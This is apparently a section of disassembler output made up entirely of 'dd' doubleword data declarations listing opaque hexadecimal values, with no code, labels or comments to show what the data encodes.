		dd 801F560Ah, 30838D24h, 0C10CEA00h, 0D95FB7D1h, 44C60245h
		dd 0B45AA539h, 3C684C42h, 5F0081A0h, 1048C537h,	5C7619h
		dd 362EF0EFh, 0C1E0FE7Ch, 0C3793F00h, 21B5BD26h, 0D8400295h
		dd 491001CEh, 8C44E864h, 230084D0h, 575F031Dh, 0EFF3935h
		dd 2E176CBh, 0EE440C03h, 43CDF90h, 1B001CB0h, 0A25EE0C2h
		dd 0F36C40h, 34DF7ACh, 9A0E68CCh, 6EAA8A00h, 3332AE29h
		dd 0CF950309h, 60896D46h, 64342AB8h, 6EF979C0h,	0C066FF19h
		dd 1D855958h, 0F109D59Bh, 9A719272h, 0FD48682Ch, 94BC1324h
		dd 13101F80h, 9600EAC1h, 0A02645D4h, 0C6B058h, 20566407h
		dd 0BBA162FFh, 0FE9808EEh, 0A97F9C00h, 8E37EEB2h, 80B802B4h
		dd 95D6464Ch, 79FA8460h, 0F0523205h, 84C0608Dh,	15452Fh
		dd 1B89DF8Fh, 3BFFEA95h, 0E6CDC012h, 0DE0C7000h, 1A1217Fh
		dd 5DB17959h, 0D8F3EFFBh, 1E00C634h, 18C5D151h,	41DBC7h
		dd 0AB772BB5h, 0AFC2AE4Ah, 7AB6A600h, 0F83D284h, 71F00B32h
		dd 5C90CAB0h, 0EC00AEB4h, 86481A06h, 7E47EA0h, 0E060E522h
		dd 7C808E40h, 19FE3EA2h, 96D80900h, 32726EB3h, 0F449090Dh
		dd 0EC004E23h, 3482CCF5h, 0A726EA79h, 858F68B1h, 2228096h
		dd 412177h, 0C4CEC135h,	0DC79E836h, 8F921703h, 5984612h
		dd 5BBB930h, 0BADF82FDh, 32A558E0h, 0D082B402h,	8040DC7Ch
		dd 3CEF478Ch, 1E90139h,	8666461Ch, 540EE4AEh, 85CD4D05h
		dd 2E8552A5h
		dd 0ED363880h, 402100FDh, 98187696h, 482C045Ah,	0C000BBF5h
		dd 0BE1C74D1h, 6FF0F73Eh, 0B92238BFh, 0A1322781h, 0C907A87Dh
		dd 0CA040CFh, 201A041h,	2F3481F7h, 4EFC4408h, 8296006Eh
		dd 8CD54C9Eh, 0F4A8A6B7h, 0EF12527Ah, 0D80F486Ch, 0D26940E6h
		dd 666A62h, 0C2742C55h,	86F415F6h, 0C6485A00h, 0BF288BFFh
		dd 1A8C006Ah, 0CD76EB34h, 3203AD59h, 869EE70h, 1174E0A6h
		dd 12663F1Eh, 8D53D581h, 380F65AFh, 804F3934h, 4C550C3Ah
		dd 3FD684CCh, 628E174Ah, 471F1085h, 715BC5C9h, 0E8F0B231h
		dd 0BD007ED5h, 0A9DD1713h, 7A449945h, 0E62B125Eh, 0A2340047h
		dd 0D9B6E974h, 1100B498h, 2310120Eh, 0A9B132h, 7CB350FBh
		dd 0FE06BFE9h, 902E8B40h, 0C17E0138h, 35FC3715h, 0C48AF49Dh
		dd 3883CE00h, 0D0DE762Ah, 7B13038Dh, 1AB1EE6Dh,	0A6B4B900h
		dd 0EB4FE8B8h, 0FBE43C9Bh, 5E80057Dh, 0C01EAA44h, 2AB743B4h
		dd 10DE7807h, 9AE7FA77h, 0D1A15C70h, 0DD8105AFh, 0C01D2BC2h
		dd 545AC64Bh, 9199C90Ah, 440EE416h, 3D55C3E7h, 79A9E8C7h
		dd 543F4867h, 0DE03BF00h, 85DA2AC4h, 2BB0CE5Eh,	820900EFh
		dd 45404C2Ch, 70B03758h, 89A9000h, 265C33EBh, 49BF836h
		dd 66B81B43h, 0AB30802Ch, 0AE3A3042h, 1128C8B9h, 932C0D8Eh
		dd 4C4E4398h, 999701EDh, 0F5FD7C62h, 0FA2BC0E0h, 3B36F20Fh
		dd 18B3A086h, 0FE0989h,	7FA8BD88h, 154B0451h, 0CDD58B01h
		dd 954E909Bh, 0E4AD7C20h, 288A1D96h, 755583ABh,	0D8C0915Ch
		dd 83070E2Eh, 0F86B252Dh, 0CCD482B9h, 1CD324B0h, 29B76C00h
		dd 34BCBh, 0F09AC856h, 829F49D0h, 682148h, 5A643E94h, 4B6F6ACEh
		dd 0B118146Bh, 5065B806h, 0BF04B08Fh, 31FCA53Fh, 2EC5E489h
		dd 647A8001h, 650721B0h, 66FA8642h, 0EB606D70h,	1FC7599h
		dd 2BAD8D7Eh, 87C5BE20h, 6AC3DD8h, 70C3F940h, 0C1257FF3h
		dd 0E60383B8h, 5DC86436h, 0A319AFE4h, 0F8890DA8h, 37601421h
		dd 4B9F0089h, 24AA1050h, 6726BDABh, 0F6032499h,	90E22AA9h
		dd 5D45C2CCh, 20FC425h,	9341FA04h, 0DC09750Dh, 9A00441Eh
		dd 21CB9784h, 1299A301h, 1E7B3C1Ch, 0EFCC8640h,	0A0035069h
		dd 20BDEC72h, 843A8082h, 0CA4A007Ch, 0FC061276h, 3B6B1D99h
		dd 46620039h, 55AE139h,	0D6B1FBB0h, 0DC0480D3h,	971649D7h
		dd 7A097357h, 38C900Ah,	6DCE002Eh, 5ABB3171h, 580938DFh
		dd 8062A2F6h, 5C2ACD70h, 877E7Ah, 7FD2E769h, 0A99F12F4h
		dd 0AE91D00h, 0BF83F64Eh, 44694AB5h, 1847818h, 4AE4BE25h
		dd 0E781D8CFh, 2082285Ah, 0EABAECD5h, 564C0194h, 522ED9BCh
		dd 0EEFCE00Ch, 9A326E00h, 33CAD58Ch, 663A0025h,	0E7E37FCEh
		dd 0B60EDCF1h, 723F911Ch, 40A71888h, 1A009AB2h,	0A37A7E98h
		dd 60F7153Dh, 9EE64021h, 2700BABEh, 8C54E17Bh, 1F899416h
		dd 0A760DEh, 6210A22Bh,	0FDF6237Fh, 0B2BEE305h,	74C0DC06h
		dd 4846A07Eh, 3E00B130h, 0ECF4E870h, 520788A8h,	0E2BFE07Ch
		dd 2F919360h, 8EA631B2h, 805B59F4h, 0EB19FDE8h,	890FB4h
		dd 0E53A82F2h, 49D5BB7Ch, 5A6E1809h, 0C2E801E0h, 9C2897D0h
		dd 22262C00h, 9D7F19DBh, 555D1300h, 2EF6C6A7h, 768A00B2h
		dd 0F90D35ABh, 8E48B62Ah, 143C1C86h, 98C02000h,	449C84h
		dd 0C61A081Ch, 4D938A9Dh, 0BD254Ch, 6558A9D3h, 2DD7B54Bh
		dd 3C00C6CAh, 92DFACC3h, 0AD3B000h, 0EC2AE643h,	383A4CCCh
		dd 0F2EE9801h, 0BCFEB5EBh, 3F63C30h, 0FF7C61D3h, 5805A0ABh
		dd 0F7690354h, 756EB65h, 456749C0h, 9888BB01h, 1304F2E6h
		dd 0F180D2D1h, 0C6FB072Ch, 3301B057h, 18A80343h, 9ED40A38h
		dd 4D70E08h, 0F980CA85h, 0B8CE414Ah, 52203302h,	5F4D1348h
		dd 0B64BF440h, 64D60528h, 8896451Ch, 0DFF2FE80h, 0BE05FF8h
		dd 6C750E80h, 0BB996800h, 7A7311B8h, 0C824F200h, 0A30E48D1h
		dd 0D43C0FBAh, 9F20262Dh, 0B71E12DEh, 131DE4F0h, 3ED7DBh
		dd 9A7BC94Fh, 15A22BCh,	0E8D8B52Fh, 0F8C54963h,	0E000374Ah
		dd 2115C62Ch, 6702BCh, 42FF6A1Ch, 83BAEC01h, 0D9F4D70Eh
		dd 98CD6039h, 0A4D612h,	1BEBE084h, 0F517A73Ah, 0F037A900h
		dd 0FE99083Dh, 0D4BC0FEDh, 0B5215DFCh, 348EB720h, 0EC7814B8h
		dd 0D2946000h, 2386E9C3h, 45500A1Bh, 1DDC2C27h,	8318EC1Eh
		dd 29EA36C2h, 0E1043801h, 2C133AB0h, 8A5091h, 1AD82140h
		dd 4C75EBh, 0C39ADFABh,	0FEECF989h, 0F704D300h,	852ABA38h
		dd 5A2284Ch, 13010AFEh,	874C1260h, 0D0A84433h, 532BD9E3h
		dd 28F65200h, 1C45708Ah, 4C38C029h, 75449DADh, 100D6000h
		dd 9C1D8928h, 88B80045h, 9DCF7C6Fh, 90EE0323h, 87AEE09h
		dd 0D05007E5h, 80719432h, 0A04D0EF8h, 0FFDF0184h, 0D8805DA9h
		dd 0BDE6F9A5h, 7CDBBC11h, 2A00EFF0h, 0C5A7A8E7h, 3C2C42h
		dd 0DB8CA367h, 51F50114h, 595DB10Fh, 789827BEh,	1AB09B87h
		dd 3C4EF0F3h, 0A6BA8CB0h, 44AD2F87h, 87163730h,	83E86013h
		dd 0BE024DFAh, 5AD96350h, 45CFE080h, 1A840046h,	83E9F1D2h
		dd 6312272Ch, 0B500A808h, 0AE46987Bh, 2E1EE073h, 0A01FC1h
		dd 61A2A956h, 0EF3E3399h, 0C6E081F2h, 62EEE5E1h, 7C9C2E4h
		dd 889DEAB8h, 4270F084h, 5500B3A1h, 0DFBBD038h,	3532887h
		dd 0FF93E247h, 1DF8113Fh, 52004FA1h, 68B1FE76h,	0D9B739h
		dd 5810641Ah, 0A5CF9120h, 19293A00h, 5DF4EAF3h,	887560h
		dd 54DA75A6h, 6A858AAEh, 0FC6D8B07h, 46C09372h,	22C80EBh
		dd 2AB4BCCDh, 9940A981h, 470007C0h, 0BE7E0D63h,	0C0749394h
		dd 31A72831h, 0AF031ECAh, 9F1D5E4h, 0AB4DE0A5h,	57E70C5h
		dd 0CB8B93E6h, 0E2E04071h, 0C64C84EBh, 6FFAE01Eh, 2019B500h
		dd 146014F6h, 0A0DFF70Fh, 805A981Eh, 6A412299h,	370056B4h
		dd 8F032D8Dh, 0CB0AFEh,	2EB6521Ch, 0F0A5963Ah, 0B1194F13h
		dd 0EFF49C00h, 0E62A29h, 1E518D2Dh, 0AA023A3Bh,	94071C90h
		dd 2B60DFA5h, 199F3510h, 0CD8D000Fh, 0F25A9ABBh, 0FB00A66Eh
		dd 0BA72F017h, 2ED2F7h,	0B17B9CDBh, 2808385Eh, 91B3E400h
		dd 0DF3A4E13h, 4BA10004h, 0A57D6FC6h, 98140E97h, 8C4161h
		dd 121A32D6h, 0A6EF3Eh,	0D11B02C1h, 4F5B5778h, 189C2F0Ch
		dd 38453871h, 6C802073h, 8E222DEBh, 5005104h, 12725C10h
		dd 99160Ch, 396DD503h, 3DD9AC7Eh, 56A58300h, 17C2F9EFh
		dd 7F5F03F6h, 3A2DFAA8h, 0C14F04E0h, 0A601A998h, 45C979F3h
		dd 0B9D39D07h, 0BEC05808h, 5C4300DAh, 6BDF835Bh, 12075044h
		dd 51D7BB7Bh, 80FFF875h, 0E03A064Eh, 0EB878901h, 1C4D9EEEh
		dd 57E1AC41h, 54803412h, 32976FC0h, 0F81E0107h,	25F155FAh
		dd 66F074BBh, 13570063h, 0E19ED3F9h, 0D5A204DBh, 9235E0C0h
		dd 72547900h, 0E040F616h, 0D70F00B9h, 0F3B8D93Fh, 620A4E7Ch
		dd 0FCC0B553h, 0E808003Bh, 0D9E4A5C4h, 0C17F3725h, 3E6AF018h
		dd 7A00144Eh, 9FC4C2BAh, 0EEE8F8h, 234C8B70h, 6FBDC9D9h
		dd 0B5FFB8C0h, 0CBF10Bh, 4C718F20h, 0DD0D1A6Ah,	7ADFA806h
		dd 7EBBD4h, 77014349h, 4E072519h, 0C63CEB00h, 0D6643A36h
		dd 8CB73F8Bh, 14ECFDF8h, 18AC0104h, 2D06C935h, 0A3A04067h
		dd 7E004E2Eh, 0FBD0AF23h, 970D7Dh, 8217D363h, 4A2C7724h
		dd 5C4D1D73h, 99B10078h, 109AD8F7h, 2063006Ch, 0D4F6816Bh
		dd 71071DB6h, 585097D9h, 7AA11150h, 1A890725h, 909AF8DCh
		dd 0A9735D55h, 694CEF00h, 0D68D72D0h, 0DE1E002Eh, 0A7032053h
		dd 1F0FAF70h
		dd 0E166E22Ch, 0B94BBC89h, 3B0DA0FCh, 4180FF0Eh, 4732C7CDh
		dd 0A807224Dh, 0A227DABBh, 5E5FCAE0h, 6ADE0070h, 0A7EB3545h
		dd 663804A9h, 1A6F8023h, 77185248h, 577C02D3h, 1B3DF3C2h
		dd 1980A7E3h, 611876DBh, 43F1DD88h, 0FB490074h,	539D01Eh
		dd 570127DCh, 4CFC5E99h, 3DC4EA2Eh, 5BE9009Ch, 8C59280Fh
		dd 0B200EBA0h, 2D7EE2B1h, 0E74456h, 5CC08B88h, 38D88214h
		dd 0CC3A1803h, 0D8962232h, 0B9D07Dh, 5A2E3CCDh,	1B6744DAh
		dd 6E008F7Bh, 3B9ED41Ch, 3A4DEC99h, 95804B3Fh, 10E253F7h
		dd 0ABFCBC40h, 0C3C7C81Ch, 204F8912h, 9243007Ch, 907E95A9h
		dd 5B9E017Ch, 0B9516D80h, 82109731h, 1892DA00h,	695866FBh
		dd 9C0018C0h, 9003AB41h, 3200909Ah, 0E89D06A1h,	0DC76D8h
		dd 0C01A4818h, 45C89A97h, 6E3D311Dh, 0B8495D80h, 4418E5h
		dd 70FBC0AEh, 4279B75Ah, 0F4933600h, 0D62CFAC7h, 61E85845h
		dd 23C08D01h, 0E4372BA7h, 0A500DF7Ch, 0C244AE2Dh, 0EAAFCD26h
		dd 3768Ah, 1633D381h, 6E1E4AA8h, 747E905h, 18328FFh, 0A530C7F2h
		dd 8FDF33h, 1EC79279h, 8564D917h, 8705FA16h, 0E615440h
		dd 16E40F69h, 0BD9123h,	5466597Fh, 941EFD3Dh, 58C319C8h
		dd 8027C010h, 3365BE3h,	0CB9072CDh, 56C8212Fh, 0AB00FE1Bh
		dd 3124AE6Bh, 78EFE5h, 9C3E3454h, 48515939h, 0DBB87E00h
		dd 6299DFA4h, 13730056h, 7616B0A7h, 98003C36h, 3F96B4F9h
		dd 71CF1D7Bh, 650100E8h, 790A5846h, 0AD7D82D5h,	2AEC2A39h
		dd 0EA00ECBCh, 7A15193Ah, 5E61D6h, 0B2864985h, 0B8A22668h
		dd 98756700h, 19D1D9F2h, 575C0773h, 14D5F693h, 8AD89015h
		dd 0A300DFF0h, 282B84E7h, 0E2A60662h, 347B00E5h, 0B9D25B2Fh
		dd 7E0033B2h, 0F35F61CDh, 4C7D0585h, 0B14BAC28h, 4722E0F8h
		dd 1311CFh, 4DB3512Ah, 80DE00E4h, 3ECE0BF4h, 1A07DC91h
		dd 7FA66CA0h, 0F7269F70h, 0B79B0D40h, 246080B2h, 0C31EE42Ch
		dd 0C20F2B1Bh, 32F018FBh, 0BCD45C7Bh, 77D8E783h, 3538E8D8h
		dd 2CC25901h, 0BC678033h, 0F2FFC074h, 7AE301A0h, 0D2AA418Dh
		dd 80ACD095h, 6960E530h, 7D062584h, 593058DFh, 0AFFD1914h
		dd 3F9D5900h, 5BC4E94Dh, 93A32200h, 235AA7ECh, 99C903D2h
		dd 5BF7343h, 1F8830C7h,	9C001DD5h, 780903C6h, 40176Eh
		dd 927C0D81h, 41E4E99Dh, 0CBD8E00h, 0E379A01Bh,	0D6B9002Ch
		dd 0F15EEA59h, 0CBF63569h, 50402607h, 7C6545C4h, 7B8B80AFh
		dd 3100ADFEh, 1595149Fh, 0A81F4Fh, 0C3078F78h, 0BC87A075h
		dd 515AF700h, 11B06395h, 0A85300C7h, 88E58E08h,	9CA8DB85h
		dd 712C4277h, 0C00F22F8h, 0BA809EF9h, 0F492DEE3h, 0BE670A31h
		dd 900538h, 0E758029h, 0B5F8FEEAh, 80CFF33Bh, 21E2C20Bh
		dd 7B2A32h, 0BDE8803Fh,	0FF8F5F51h, 61E56700h, 2FCA688Bh
		dd 4897001Dh, 9A16323h,	1600DC85h, 82225547h, 56205Fh
		dd 0D6742EC8h, 61CACBD9h, 0D32A870Ah, 0E580D069h, 7338DDB3h
		dd 0B8207393h, 3D798BBh, 0C922DB54h, 31A3611Dh,	2B5FE998h
		dd 0B74CA501h, 0EEFE570Fh, 987A1C24h, 6B6700CFh, 1E826C4Dh
		dd 0D801CE25h, 0C8F32BEDh, 1824B2E8h, 0B2800D5h, 88C53B7h
		dd 330C449Fh, 21A6E887h, 0D0CD1DA2h, 0FCDA1D8Fh, 19CEB000h
		dd 84257247h, 0E2209500h, 0F585D768h, 0B0D20E0Eh, 0FF9C83E0h
		dd 0E7F9B050h, 9FEDE0h,	7BF34287h, 0A306B756h, 9870B274h
		dd 819D11C2h, 856F18B6h, 0DAA74108h, 0B2720355h, 4105F43Bh
		dd 9775E0B8h, 384D0460h, 0D510C374h, 193B7EF5h,	3BC085EEh
		dd 140CBA05h, 39A839DDh, 0B48017A9h, 0D8761A27h, 813994B6h
		dd 55FE85ACh, 0D9803383h, 2849C464h, 7438DEC1h,	4203185Fh
		dd 50551177h, 0C50366ECh, 0BCE4946Bh, 4F083053h, 7728B221h
		dd 5BAE4Ch, 7FCE49B1h, 0E834635Dh, 59DF622Bh, 5C80F7D5h
		dd 0A2D75EEBh, 86F0CF71h, 9874DF50h, 53377100h,	9352662Dh
		dd 89E6635h, 0F70021C3h, 887B377Ah, 187754A6h, 89785FABh
		dd 4DF05E95h, 755D0E03h, 0E0654641h, 0C07CDE6Dh, 0EAFBB761h
		dd 0DC2E068Ah, 0F403FD04h, 8B71FDh, 0EB035821h,	0BEE82654h
		dd 104B6703h, 0F1780A61h, 70883E21h, 0DD8C3A57h, 0D23999h
		dd 54650322h, 5EF568A8h, 3B6ED81Ch, 0C1E06C28h,	121AC500h
		dd 0D8994990h, 0CCBF00BEh, 795D162Fh, 3E0A2275h, 98E13880h
		dd 0F4F70C80h, 6CF8D6F5h, 70D04950h, 34EBE08Ch,	8C9068Dh
		dd 57809568h, 6D4EEB08h, 0A232034Bh, 0C10CAD16h, 948ECEB1h
		dd 0BCC0E288h, 0A2098CC0h, 318D27Dh, 7B3D5BC3h,	1E8CA4B0h
		dd 0B5E2E8h, 1CEB709Ah,	0CD3028A4h, 0D5AAD015h,	231643F8h
		dd 5842679h, 22FC068Eh,	3C206968h, 762EB07h, 948978E1h
		dd 84033034h, 8AF82380h, 4D295E09h, 64682A64h, 4F8E0811h
		dd 53C571C2h, 0B5104331h, 9E167727h, 0AB00F825h, 45D3F4AAh
		dd 12BB72D6h, 22962C37h, 4E310590h, 46C568D8h, 50223Bh
		dd 0C3774D7Ch, 0EFAD6344h, 0C2C92701h, 0C1DE6430h, 4304AC50h
		dd 6D7199h, 902F3688h, 0C0EF1AE8h, 0A8A7981Eh, 0C8721440h
		dd 93D1338h, 76663180h,	7FBDAC22h, 4D06502Ah, 13078FFh
		dd 8818FA5Dh, 30B66264h, 0DE88811Ch, 4F79C0AEh,	2B855745h
		dd 1C2C9F3Fh, 742A3881h, 0B9500746h, 4BC52972h,	4E1174h
		dd 3F774CB6h, 5038E2Ah,	7A087BFCh, 795C089h, 0F700BDC0h
		dd 5E8B5536h, 1DEF2B5Dh, 0A663ABA5h, 41FA623Ch,	73618F1Bh
		dd 280E23C5h, 0C902ACB7h, 0AA9C7EA0h, 0F40049B4h, 807BE411h
		dd 0EB2BC7F1h, 6ED152h,	0AC33270Ch, 1E69A42h, 42A4AA51h
		dd 67308C84h, 2D551137h, 81BF8896h, 8A3770F5h, 3C41E0CAh
		dd 0FE21A400h, 3AFF5EFBh, 0AC253012h, 0B15D6058h, 0B3E60109h
		dd 73780474h, 90EAF960h, 48CC0626h, 52408FC4h, 0D8EEEB01h
		dd 44EF2D01h, 0CC4D2EC2h, 7995E180h, 0B9251735h, 5CF02F1Eh
		dd 60222C01h, 0DC580697h, 2367EC51h, 421143C5h,	7729B300h
		dd 89B912D3h, 59520824h, 4440D913h, 207FFA14h, 8F9D008Ah
		dd 0D740A924h, 622063ACh, 17950296h, 3AA6C049h,	0FABD9C41h
		dd 5D264846h, 55509876h, 174B0406h, 80678BC7h, 6A942054h
		dd 0FF686082h, 0D25089ABh, 77075C20h, 0C4CD1223h, 0FD740051h
		dd 0EA652F5Dh, 7FF86B54h, 93DF88h, 0B0D7B9ACh, 827F8E6h
		dd 4D867C1Ch, 0BB51D658h, 6E440035h, 0CE6DBE85h, 0CC01608Ah
		dd 272CD592h, 55D1D6FAh, 3E8E74C0h, 0F228A580h,	9108C60h
		dd 6004C406h, 4D916017h, 9D197080h, 3B05863Dh, 0EBFDEC96h
		dd 48080498h, 6F231C90h, 94EAFD01h, 9436EC06h, 5568879h
		dd 1402EB00h, 8E473654h, 0F4E9F0DCh, 7EC4838h, 0DD52D61Eh
		dd 65F1267h, 50C0F7F2h,	600CDA12h, 4200C46Eh, 3F6AEF17h
		dd 0D860B952h, 467AFE50h, 3DD6F89Ch, 0C53EFDBFh, 0C3109634h
		dd 87AA780h, 0C2AA6D01h, 0AB502776h, 8EC01825h,	58FD03BCh
		dd 5FB4B3B2h, 0A0100940h, 3DBC8600h, 63088D70h,	9998011Ch
		dd 0FC3AEA72h, 0AB1C24B2h, 0A93D2930h, 30B1C2E8h, 22113E37h
		dd 0C402AB3Fh, 0AD456A8Dh, 61E28096h, 0E425A06h, 4D5E8914h
		dd 0BF137158h, 865C1A16h, 0BC189C1Fh, 0F8E55119h, 0E30E00C4h
		dd 3C8BBE4h, 0DD024E35h, 0A907B248h, 0C8704C2Ah, 90C04DE8h
		dd 2158FFBCh, 0A791B282h, 0BC886A00h, 0F460728Ah, 96031203h
		dd 88C1012Dh, 0C595801Ah, 8856AB90h, 9849E4C0h,	0BAB30004h
		dd 0DEA3A6EDh
		dd 0FB3B2983h, 60D8008Ch, 7206590Bh, 85F05D16h,	102C7313h
		dd 87393DE8h, 0E5F18806h, 0F913A826h, 6816E3E9h, 8A23483Ah
		dd 3B46B600h, 0BAA8090h, 421FAFB9h, 2740E484h, 0CCD736D4h
		dd 5D336280h, 0C373E8ABh, 0B5173A21h, 0C12CA17Dh, 465EC860h
		dd 4C0C024Dh, 62B61695h, 2A189938h, 312C040Ch, 378CA030h
		dd 901946h, 816B1F40h, 3C28DD2Dh, 1A0DF200h, 1506D395h
		dd 0D5F50437h, 8932F707h, 0F8D43018h, 24803F44h, 80F0E535h
		dd 0C2BEF6C0h, 195033BFh, 0DF2C9B18h, 46764C3Ch, 3B5300C0h
		dd 4D062E02h, 0B569C0D8h, 622A5F1Eh, 8BE1BE00h,	334234B6h
		dd 0E6E3143Ch, 5D848091h, 0DF95434Ch, 0A21900C8h, 42BAE840h
		dd 9E0E604Ah, 0A03209ECh, 0D86AB35Ch, 0C71E0028h, 0E45AB55h
		dd 0C94C695Dh, 0D73E80FCh, 5C1CDE1h, 0B161AC47h, 2E889111h
		dd 166180B0h, 0E13E5895h, 3FBF0312h, 15D161A8h,	5B42938h
		dd 2F626BCEh, 0B1CDB280h, 2403E0A9h, 674857B5h,	7661C3E4h
		dd 20C072A1h, 904046D8h, 30C34C6Bh, 268CA7BCh, 19062F1h
		dd 0E6E9715Ah, 43B180ACh, 57C8533Ch, 42EA00C2h,	0ECAF25D4h
		dd 7F042406h, 0BED70776h, 0B051E0B4h, 7EBC228Ch, 494EEE37h
		dd 0F8374580h, 385C4877h, 20417812h, 16C232E4h,	1EA13E1Eh
		dd 776ABE40h, 3BC4B1h, 0BD725D30h, 0FD3F87ECh, 0EA354706h
		dd 438775Ah, 635DCD1Eh,	46F0C03Ah, 35007EECh, 84BEF111h
		dd 0C085E5A9h, 91A2FB89h, 0A0ECD478h, 0CD011700h, 0EF53FD5Fh
		dd 76832CC8h, 0F3DA60C0h, 0EA0A152Fh, 0C4D5502h, 19FEF500h
		dd 0A9C14Eh, 9221355Eh,	3BBB3881h, 2CAD1224h, 3A407764h
		dd 3B716008h, 21AF1732h, 0A4B0C3D8h, 0EB4D075Fh, 0B0B4015Ch
		dd 39CC3094h, 0F6214563h, 0B519A80Bh, 980A004Dh, 0DE61FCB4h
		dd 8002303Ah, 1877F060h, 31A4C007h, 5FE8A8ADh, 33D01F0Bh
		dd 96DECCABh, 5400F079h, 2A2DAC26h, 2F4BB2h, 4F19E303h
		dd 0DBE0CE7h, 2930E5FAh, 46EF505Bh, 0CDAB0044h,	0DCBB3E93h
		dd 12ECEE78h, 0EF4417Dh, 274E08C0h, 0EFC2CB7h, 1571AD5Ch
		dd 737A6680h, 6770A96Bh, 6D3E767Ch, 9D210102h, 96C271FEh
		dd 2EE06AC1h, 705DE854h, 0B0610098h, 0A936735Eh, 37000B31h
		dd 72235B3Bh, 0FA0E6732h, 0FE250075h, 3498B75Dh, 2C7CAD71h
		dd 9CB16307h, 8C846002h, 61093018h, 5BF88C98h, 2F0725E8h
		dd 67C666Eh, 109BAE11h,	3D6492E6h, 7CC17704h, 108011ACh
		dd 0A3D196DBh, 5400131Eh, 78B6833Ch, 60DE1475h,	0D068317Ch
		dd 0FE002471h, 0F2EB835Eh, 0DE0CF7h, 0A16C663Ch, 3D2A1F5Dh
		dd 0ADE07D18h, 0C340EF69h, 0DA264471h, 0D8C916F8h, 7828D400h
		dd 0D211E661h, 42E70FD9h, 4D030D46h, 10E65EEEh,	497338h
		dd 1D43DCC1h, 0CC4A1452h, 1E217808h, 163A4170h,	0DEFC00D8h
		dd 952E0698h, 447008Bh,	88F80BD5h, 3C37E0CEh, 8AC07026h
		dd 0D1291AD1h, 9BAC38E8h, 8433FC00h, 0CA65ABAEh, 63F7F023h
		dd 9181E912h, 4E2401B8h, 7552A70Fh, 0A4E3E23Bh,	98B680C0h
		dd 0C12B1FE1h, 0AA84E680h, 66B44047h, 380EB44Dh, 74058Ah
		dd 6CDFD13Fh, 61770070h, 7AC75F46h, 0CFF85D7Fh,	1875DC30h
		dd 6916E47h, 0D3140A3Fh, 9003A939h, 0E59CC0D6h,	0A747F204h
		dd 3E4270E0h, 260880D9h, 284BD12Bh, 54DC1ECFh, 0C082E0C7h
		dd 0D1238621h, 8B0C6CADh, 18457BF8h, 30460C5Bh,	21F13EEEh
		dd 6C189EFEh, 0C68870BEh, 908CC88h, 0C3005221h,	0F75D3E9Eh
		dd 60DE7758h, 799A6178h, 1D7A07C9h, 0A2843Ch, 7CCE700Ah
		dd 7D971736h, 0ABFC045Eh, 8892626Ch, 0D1125F24h, 64237095h
		dd 978E9h, 0BEC1DFD5h, 1196181h, 0A91A33Eh, 0A87106EFh
		dd 6FDFFD03h, 782001C3h, 0E927021h, 53BD58Fh, 75944C02h
		dd 92AE0477h, 0E2D74110h, 0DED80086h, 802E50CCh, 680AA246h
		dd 8C4CC16Eh, 84064D9Dh, 81203542h, 6D182A94h, 0BE6E9E08h
		dd 400CC4A0h, 529EC47Ch, 0A5290486h, 4354BDFEh,	411DE7Dh
		dd 1F666EF1h, 879897CCh, 7BB7C278h, 4E2E1080h, 9701FD09h
		dd 675F3255h, 2D1317Dh,	9562710h, 0DB92E600h, 225AB9BDh
		dd 0DFC003F9h, 2E3FB896h, 124B823h, 0BE489EBFh,	880D1890h
		dd 9E13B686h, 2008BE45h, 19330108h, 405B7D8Ah, 0CCF847ACh
		dd 1DC01A49h, 5424C714h, 0DE9B3C82h, 798824Ch, 4654462Ah
		dd 0D1FD0240h, 312ECF65h, 35881080h, 0F9E00D1h,	0A492E48Dh
		dd 0FA1938DCh, 4980620Ah, 381D2AF4h, 2330E047h,	22EA7488h
		dd 0F05F48h, 0DF8F3332h, 6086A4h, 708BD11Ch, 0EEE66651h
		dd 65C81218h, 0F67EC4B1h, 2A5E28CFh, 0E234694h,	683F9EBEh
		dd 4022C488h, 219EB581h, 4DE8F06Bh, 57E80C4h, 3CE7D12Eh
		dd 9890431Bh, 42E10B8Ch, 0B3382067h, 1470C612h,	0BBE00402h
		dd 0C8EF0443h, 96003438h, 30B620CFh, 390E7AFh, 0A4AB3B1Ch
		dd 14F03616h, 0C1C068D4h, 67614023h, 18374C62h,	8104922Ch
		dd 7D513EFDh, 0B44BD6E2h, 35B653C0h, 0BF3075FAh, 3465082Bh
		dd 0F6490248h, 7DCA8B3Bh, 0E898DC86h, 0A2883253h, 0C7C93025h
		dd 64C2780Fh, 0D2BCC69Dh, 0A8466E79h, 7D666C80h, 1360EF44h
		dd 95632D39h, 0E3C2002Fh, 9922BAD5h, 85EA78D0h,	65E2D101h
		dd 1D0BDCBEh, 8C572420h, 4CD12C0Eh, 87E0B0CFh, 0D801D124h
		dd 1A270AAFh, 92F4685Ah, 0FB531DCFh, 0D4E70E3Eh, 0D0AD494h
		dd 40ACEDD6h, 8FB0EA7Ch, 28057D3Ch, 0F709D0FBh,	1122CCh
		dd 89FD3BC0h, 1F69C145h, 4B0927E7h, 0C0858850h,	2580A3AAh
		dd 0DFCF6109h, 741C20B8h, 2A051D98h, 943CF7h, 57B4473Eh
		dd 0B5CF8D4Bh, 68860F26h, 78635416h, 0DCC08048h, 250E873Bh
		dd 93880040h, 45AF22h, 8CE5A823h, 0D19A2F1Fh, 64B05A48h
		dd 0ACC87388h, 48C54D41h, 33096481h, 0C28ED97h,	4C558808h
		dd 8A230900h, 92B8A25Dh, 0A8C464DCh, 836C6350h,	315BF28Ch
		dd 4421116Ah, 6FD517C1h, 8CD488F2h, 0A4B19941h,	7888284Bh
		dd 0F5D3E0C0h, 36B20523h, 82A2D51Bh, 852318F4h,	0A740E870h
		dd 8D160038h, 71FD4A0Ah, 0A10BC8F7h, 4516103h, 0EC904328h
		dd 32E8CD8Fh, 671025A0h, 713F8886h, 0BBFD6305h,	0F418941Ah
		dd 80404CC0h, 5049DE56h, 5520000h, 813BBCBEh, 517300ADh
		dd 0CDE62882h, 29062A5Fh, 3C6CD02Fh, 43CAAF9h, 6760C4C8h
		dd 97213209h, 4F54C0ADh, 3300AA09h, 0F5DB9630h,	165FCh
		dd 9FDFD699h, 3431CBEEh, 18615626h, 67C44C26h, 0E09BBC94h
		dd 1BCA8DEh, 6DDF86E5h,	865291FDh, 38E85721h, 0DFC8ACD9h
		dd 3609E368h, 94D08ED1h, 93848834h, 0D0B60189h,	22F8C046h
		dd 0B14B0094h, 72D9ED2Dh, 0B02A76ECh, 0B142058h, 0F0FBF4A3h
		dd 103D20B3h, 74EE1584h, 20077DCh, 3AB02195h, 39A677h
